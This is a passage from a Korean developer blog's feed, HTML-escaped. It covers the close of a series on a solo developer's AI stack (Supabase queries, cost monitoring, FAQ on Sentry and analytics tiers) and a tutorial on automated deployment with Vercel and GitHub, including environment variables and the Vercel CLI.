&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; data &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;posts&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;*&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 좋은 예&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; data &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase
  &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;posts&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;id, title, created_at&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;order&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;created_at&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; ascending&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;limit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 3. 이미지 최적화 — Vercel Image Optimization 활용&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// next.config.js&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; nextConfig &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  images&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    formats&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;image/avif&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;image/webp&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    minimumCacheTTL&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;60&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;60&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;24&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 30일 캐시&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;비용 모니터링&lt;/h3&gt;
&lt;p&gt;각 서비스의 사용량을 주기적으로 확인하세요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;매주 월요일 체크리스트:
[ ] Vercel 대시보드 → Usage 탭 확인
[ ] Supabase 대시보드 → Settings → Billing 확인
[ ] Sentry 대시보드 → Settings → Subscription 확인
[ ] OpenAI 대시보드 → Usage 확인&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;1인 개발자의 AI 스택 시리즈 마무리&lt;/h2&gt;
&lt;p&gt;5편에 걸친 시리즈를 통해 아이디어 검증부터 운영까지 전체 과정을 다뤘습니다. 처음에는 막막해 보였을 수도 있지만, 하나씩 따라오시면 충분히 할 수 있는 과정입니다.&lt;/p&gt;
&lt;h3&gt;시리즈 전체 요약 표&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;편&lt;/th&gt;
&lt;th&gt;주제&lt;/th&gt;
&lt;th&gt;핵심 내용&lt;/th&gt;
&lt;th&gt;주요 도구&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1편&lt;/td&gt;
&lt;td&gt;아이디어 검증&lt;/td&gt;
&lt;td&gt;문제 정의, 시장 조사, MVP 범위 설정&lt;/td&gt;
&lt;td&gt;ChatGPT, Notion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2편&lt;/td&gt;
&lt;td&gt;AI 기반 설계&lt;/td&gt;
&lt;td&gt;UI/UX 디자인, DB 스키마, API 설계&lt;/td&gt;
&lt;td&gt;v0, Cursor, Supabase&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3편&lt;/td&gt;
&lt;td&gt;풀스택 개발&lt;/td&gt;
&lt;td&gt;Next.js + Supabase로 MVP 구현&lt;/td&gt;
&lt;td&gt;Next.js, Supabase, Tailwind&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4편&lt;/td&gt;
&lt;td&gt;배포 자동화&lt;/td&gt;
&lt;td&gt;Vercel + GitHub 원클릭 배포&lt;/td&gt;
&lt;td&gt;Vercel, GitHub&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5편&lt;/td&gt;
&lt;td&gt;운영과 모니터링&lt;/td&gt;
&lt;td&gt;에러 트래킹, 분석, 피드백, 비용 관리&lt;/td&gt;
&lt;td&gt;Sentry, GA4, Vercel Analytics&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;이 시리즈에서 구축한 AI 스택 전체 구조&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;[사용자] → [Vercel Edge Network]
                    ↓
            [Next.js App Router]
           /        |         \
    [Server]   [Client]   [API Routes]
        ↓          ↓           ↓
  [Supabase]  [React UI]  [OpenAI API]
  (DB/Auth)   (Tailwind)  (AI 기능)
        ↓
  [Sentry]  [GA4]  [Vercel Analytics]
  (에러)    (분석)  (성능)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;다음 단계를 위한 제안&lt;/h3&gt;
&lt;p&gt;시리즈를 마쳤다면 다음 단계를 고려해 보세요.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;수익화&lt;/strong&gt;: Stripe 결제 연동으로 유료 기능 추가&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;마케팅&lt;/strong&gt;: Product Hunt 런칭, 기술 블로그 작성&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;확장&lt;/strong&gt;: 모바일 앱 (React Native), 크롬 익스텐션&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;커뮤니티&lt;/strong&gt;: Discord 서버 운영, 오픈소스 기여&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;1인 개발자도 AI 도구의 도움을 받으면 기획부터 운영까지 혼자 해낼 수 있는 시대입니다. 이 시리즈가 여러분의 첫 서비스를 만드는 데 도움이 되었으면 합니다.&lt;/p&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Q1. Sentry 무료 플랜으로 충분한가요?&lt;/h3&gt;
&lt;p&gt;대부분의 초기 서비스에는 충분합니다. Sentry Developer 플랜은 월 5,000개의 에러 이벤트를 처리할 수 있습니다. 일일 방문자가 수백 명 수준이라면 무료 한도를 넘기기 어렵습니다. 만약 한도에 가까워진다면 &lt;code class=&quot;language-text&quot;&gt;tracesSampleRate&lt;/code&gt;를 낮춰서 수집 비율을 조절하세요. 예를 들어 &lt;code class=&quot;language-text&quot;&gt;0.2&lt;/code&gt;로 설정하면 전체 트랜잭션의 20%만 수집합니다.&lt;/p&gt;
&lt;h3&gt;Q2. Google Analytics 대신 다른 분석 도구를 쓸 수 있나요?&lt;/h3&gt;
&lt;p&gt;네, 프라이버시를 중시한다면 &lt;strong&gt;Plausible Analytics&lt;/strong&gt;나 &lt;strong&gt;Umami&lt;/strong&gt;를 추천합니다. 둘 다 오픈소스이고, 쿠키를 사용하지 않아서 쿠키 동의 배너가 필요 없습니다. Umami는 Vercel + Supabase에 셀프 호스팅할 수 있어서 비용도 들지 않습니다. 다만 GA4만큼 상세한 분석 기능은 제공하지 않으므로 서비스 규모에 맞게 선택하세요.&lt;/p&gt;
&lt;h3&gt;Q3. 서비스 사용자가 늘어서 무료 티어를 초과하면 어떻게 하나요?&lt;/h3&gt;
&lt;p&gt;축하할 일입니다! 사용자가 늘고 있다는 뜻이니까요. 보통 무료 티어를 초과하는 시점이면 이미 수익화를 고려할 단계입니다. 우선순위는 Supabase Pro ($25/월) &gt; Vercel Pro ($20/월) &gt; Sentry Team ($26/월) 순서로 업그레이드하는 것을 추천합니다. Supabase가 가장 먼저 한도에 도달하는 경우가 많기 때문입니다. 총 월 $71이면 안정적인 서비스 운영이 가능합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;이것으로 &quot;&lt;strong&gt;1인 개발자의 AI 스택&lt;/strong&gt;&quot; 시리즈를 마칩니다. 기획에서 운영까지, 아이디어를 현실로 만드는 전체 여정을 함께 했습니다. 이 시리즈가 여러분의 서비스 개발에 실질적인 도움이 되었기를 바랍니다. 앞으로도 1인 개발자에게 유용한 콘텐츠로 찾아뵙겠습니다. 감사합니다!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[배포 자동화 — Vercel + GitHub 원클릭 배포]]></title><description><![CDATA[안녕하세요, 자바파커입니다. 지난 포스팅에서 Next.js와 Supabase로 풀스택 서비스를 개발했습니다. 이제 만든 서비스를 세상에 내놓을 차례입니다. 하지만 배포라는 단어만 들어도 머리가 아프신 분들이 많을 겁니다. 서버 세팅, SSL…]]></description><link>https://blog.javapark.kr/04-deploy-automation/</link><guid isPermaLink="false">https://blog.javapark.kr/04-deploy-automation/</guid><pubDate>Sat, 04 Apr 2026 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;지난 포스팅에서 Next.js와 Supabase로 풀스택 서비스를 개발했습니다. 이제 만든 서비스를 세상에 내놓을 차례입니다. 하지만 배포라는 단어만 들어도 머리가 아프신 분들이 많을 겁니다. 서버 세팅, SSL 인증서, CI/CD 파이프라인 구성... 과거에는 이 모든 것을 직접 해야 했습니다.&lt;/p&gt;
&lt;p&gt;2026년 현재, &lt;strong&gt;Vercel을 사용하면 &lt;code class=&quot;language-text&quot;&gt;git push&lt;/code&gt; 한 번으로 배포가 끝납니다.&lt;/strong&gt; 이번 포스팅에서는 Vercel과 GitHub를 연동해서 완전 자동 배포 환경을 구축하는 방법을 단계별로 알려드리겠습니다.&lt;/p&gt;
&lt;h2&gt;왜 Vercel인가?&lt;/h2&gt;
&lt;p&gt;1인 개발자에게 Vercel이 최적인 이유는 명확합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Next.js 최적화&lt;/strong&gt;: Vercel은 Next.js를 만든 회사입니다. App Router, Server Components, Edge Runtime 등 Next.js의 모든 기능을 가장 먼저, 가장 잘 지원합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;무료 티어가 넉넉합니다&lt;/strong&gt;: Hobby 플랜으로 월 100GB 대역폭, 무제한 배포, 커스텀 도메인까지 무료로 사용할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자동 배포&lt;/strong&gt;: GitHub에 push하면 자동으로 빌드하고 배포합니다. CI/CD 파이프라인을 따로 구성할 필요가 없습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;프리뷰 배포&lt;/strong&gt;: PR을 올리면 자동으로 프리뷰 URL이 생성됩니다. 코드 리뷰 없이도 변경 사항을 눈으로 확인할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;글로벌 Edge Network&lt;/strong&gt;: 전 세계 어디서든 빠르게 접속할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Vercel vs Netlify vs GitHub Pages 비교&lt;/h2&gt;
&lt;p&gt;배포 플랫폼을 고민하시는 분들을 위해 비교표를 준비했습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;Vercel&lt;/th&gt;
&lt;th&gt;Netlify&lt;/th&gt;
&lt;th&gt;GitHub Pages&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Next.js 지원&lt;/td&gt;
&lt;td&gt;완벽 (공식)&lt;/td&gt;
&lt;td&gt;좋음 (플러그인)&lt;/td&gt;
&lt;td&gt;정적만 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;서버리스 함수&lt;/td&gt;
&lt;td&gt;지원 (Edge/Node)&lt;/td&gt;
&lt;td&gt;지원 (Node)&lt;/td&gt;
&lt;td&gt;미지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;무료 대역폭&lt;/td&gt;
&lt;td&gt;100GB/월&lt;/td&gt;
&lt;td&gt;100GB/월&lt;/td&gt;
&lt;td&gt;100GB/월&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;빌드 시간&lt;/td&gt;
&lt;td&gt;6,000분/월&lt;/td&gt;
&lt;td&gt;300분/월&lt;/td&gt;
&lt;td&gt;2,000분/월&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;프리뷰 배포&lt;/td&gt;
&lt;td&gt;자동&lt;/td&gt;
&lt;td&gt;자동&lt;/td&gt;
&lt;td&gt;미지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;커스텀 도메인&lt;/td&gt;
&lt;td&gt;무료&lt;/td&gt;
&lt;td&gt;무료&lt;/td&gt;
&lt;td&gt;무료&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSL&lt;/td&gt;
&lt;td&gt;자동&lt;/td&gt;
&lt;td&gt;자동&lt;/td&gt;
&lt;td&gt;자동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Edge Functions&lt;/td&gt;
&lt;td&gt;지원&lt;/td&gt;
&lt;td&gt;지원&lt;/td&gt;
&lt;td&gt;미지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;분석 도구&lt;/td&gt;
&lt;td&gt;내장&lt;/td&gt;
&lt;td&gt;유료 애드온&lt;/td&gt;
&lt;td&gt;미지원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;결론&lt;/strong&gt;: Next.js 프로젝트라면 Vercel이 압도적으로 유리합니다. Netlify도 훌륭하지만, Next.js의 최신 기능을 100% 활용하려면 Vercel이 최선입니다. GitHub Pages는 정적 사이트 전용이므로 풀스택 프로젝트에는 적합하지 않습니다.&lt;/p&gt;
&lt;h2&gt;Vercel 계정 생성 및 GitHub 연동&lt;/h2&gt;
&lt;h3&gt;1단계: Vercel 가입&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://vercel.com&quot;&gt;vercel.com&lt;/a&gt;에 접속해서 &lt;strong&gt;Sign Up&lt;/strong&gt; 버튼을 클릭합니다. GitHub 계정으로 가입하는 것을 추천합니다. 연동이 자동으로 이루어지기 때문입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. vercel.com 접속
2. &quot;Sign Up&quot; 클릭
3. &quot;Continue with GitHub&quot; 선택
4. GitHub 권한 허용
5. Hobby (무료) 플랜 선택&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2단계: GitHub 저장소 권한 설정&lt;/h3&gt;
&lt;p&gt;가입 후 Vercel이 GitHub 저장소에 접근할 수 있도록 권한을 설정합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;GitHub Settings → Applications → Vercel
→ &quot;Repository access&quot; 에서 배포할 저장소 선택
→ 전체 저장소를 허용하거나, 특정 저장소만 선택 가능&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;보안을 위해 &lt;strong&gt;특정 저장소만 선택&lt;/strong&gt;하는 것을 추천합니다. 필요할 때 저장소를 추가하면 됩니다.&lt;/p&gt;
&lt;h2&gt;프로젝트 Import -- 첫 배포&lt;/h2&gt;
&lt;h3&gt;3단계: 프로젝트 가져오기&lt;/h3&gt;
&lt;p&gt;Vercel 대시보드에서 &quot;&lt;strong&gt;Add New Project&lt;/strong&gt;&quot; 를 클릭하고 GitHub 저장소를 선택합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. Vercel 대시보드 → &quot;Add New Project&quot;
2. &quot;Import Git Repository&quot; 에서 저장소 선택
3. Framework Preset: Next.js (자동 감지됨)
4. Root Directory: ./ (기본값)
5. &quot;Deploy&quot; 클릭&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vercel은 &lt;code class=&quot;language-text&quot;&gt;package.json&lt;/code&gt;을 분석해서 프레임워크를 자동으로 감지합니다. Next.js 프로젝트라면 별도 설정 없이 바로 배포가 시작됩니다.&lt;/p&gt;
&lt;h3&gt;4단계: 빌드 설정 확인&lt;/h3&gt;
&lt;p&gt;대부분의 경우 기본 설정으로 충분하지만, 필요하다면 빌드 설정을 커스터마이징할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// vercel.json (프로젝트 루트에 생성)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;buildCommand&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next build&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;outputDirectory&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;.next&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;installCommand&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;npm install&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;framework&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;nextjs&quot;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;첫 배포가 완료되면 &lt;code class=&quot;language-text&quot;&gt;https://프로젝트명.vercel.app&lt;/code&gt; 형태의 URL이 자동으로 생성됩니다. 이 URL로 바로 접속해서 서비스를 확인할 수 있습니다.&lt;/p&gt;
&lt;h2&gt;환경변수 설정&lt;/h2&gt;
&lt;p&gt;서비스가 정상 작동하려면 Supabase URL, API Key 등의 환경변수가 필요합니다. 로컬에서 &lt;code class=&quot;language-text&quot;&gt;.env.local&lt;/code&gt; 파일에 넣었던 값들을 Vercel에도 설정해야 합니다.&lt;/p&gt;
&lt;h3&gt;Vercel 대시보드에서 설정&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. Vercel 대시보드 → 프로젝트 선택
2. Settings → Environment Variables
3. 환경변수 추가&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;아래 환경변수들을 추가합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Supabase 연동&lt;/span&gt;
&lt;span class=&quot;token assign-left variable&quot;&gt;NEXT_PUBLIC_SUPABASE_URL&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;https://xxxx.supabase.co
&lt;span class=&quot;token assign-left variable&quot;&gt;NEXT_PUBLIC_SUPABASE_ANON_KEY&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;eyJhbGciOiJIUzI1NiIs&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.

&lt;span class=&quot;token comment&quot;&gt;# OpenAI API (서버 사이드 전용)&lt;/span&gt;
&lt;span class=&quot;token assign-left variable&quot;&gt;OPENAI_API_KEY&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;sk-&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.

&lt;span class=&quot;token comment&quot;&gt;# 기타 설정&lt;/span&gt;
&lt;span class=&quot;token assign-left variable&quot;&gt;NEXT_PUBLIC_APP_URL&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;https://yourdomain.com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;환경변수 스코프 설정&lt;/h3&gt;
&lt;p&gt;Vercel은 환경변수를 환경별로 분리할 수 있습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;환경&lt;/th&gt;
&lt;th&gt;용도&lt;/th&gt;
&lt;th&gt;예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Production&lt;/td&gt;
&lt;td&gt;실제 서비스&lt;/td&gt;
&lt;td&gt;실제 Supabase 프로젝트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Preview&lt;/td&gt;
&lt;td&gt;PR 프리뷰&lt;/td&gt;
&lt;td&gt;테스트용 Supabase 프로젝트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Development&lt;/td&gt;
&lt;td&gt;로컬 개발&lt;/td&gt;
&lt;td&gt;로컬 환경변수&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Environment Variables 설정 화면에서:
→ 각 변수마다 Production / Preview / Development 체크박스로 스코프 지정
→ OPENAI_API_KEY 같은 민감한 키는 &quot;Sensitive&quot; 옵션 활성화&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;주의사항&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;NEXT_PUBLIC_&lt;/code&gt; 접두사가 붙은 변수는 클라이언트에 노출됩니다. API 시크릿 키에는 절대 &lt;code class=&quot;language-text&quot;&gt;NEXT_PUBLIC_&lt;/code&gt;을 붙이지 마세요.&lt;/p&gt;
&lt;h3&gt;Vercel CLI로 환경변수 관리&lt;/h3&gt;
&lt;p&gt;터미널에서도 환경변수를 관리할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Vercel CLI 설치&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; i &lt;span class=&quot;token parameter variable&quot;&gt;-g&lt;/span&gt; vercel

&lt;span class=&quot;token comment&quot;&gt;# 로그인&lt;/span&gt;
vercel login

&lt;span class=&quot;token comment&quot;&gt;# 환경변수 추가&lt;/span&gt;
vercel &lt;span class=&quot;token function&quot;&gt;env&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; OPENAI_API_KEY production
&lt;span class=&quot;token comment&quot;&gt;# 프롬프트에서 값 입력&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 환경변수 목록 확인&lt;/span&gt;
vercel &lt;span class=&quot;token function&quot;&gt;env&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ls&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 환경변수를 로컬 .env.local로 가져오기&lt;/span&gt;
vercel &lt;span class=&quot;token function&quot;&gt;env&lt;/span&gt; pull .env.local&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;vercel env pull&lt;/code&gt; 명령은 팀원과 환경변수를 공유할 때 매우 유용합니다. &lt;code class=&quot;language-text&quot;&gt;.env.local&lt;/code&gt; 파일을 직접 주고받을 필요 없이, Vercel에서 바로 가져올 수 있습니다.&lt;/p&gt;
&lt;h2&gt;커스텀 도메인 연결&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;프로젝트명.vercel.app&lt;/code&gt; 도 좋지만, 자신만의 도메인으로 서비스하면 훨씬 전문적으로 보입니다.&lt;/p&gt;
&lt;h3&gt;도메인 구매&lt;/h3&gt;
&lt;p&gt;도메인은 다양한 곳에서 구매할 수 있습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vercel Domains&lt;/strong&gt;: Vercel 대시보드에서 바로 구매 가능&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Namecheap&lt;/strong&gt;: 저렴한 가격&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloudflare&lt;/strong&gt;: DNS와 함께 관리 편리&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;가비아&lt;/strong&gt;: 한국 도메인(.kr) 등록 시&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;DNS 설정&lt;/h3&gt;
&lt;p&gt;도메인을 구매했다면 DNS 레코드를 설정합니다.&lt;/p&gt;
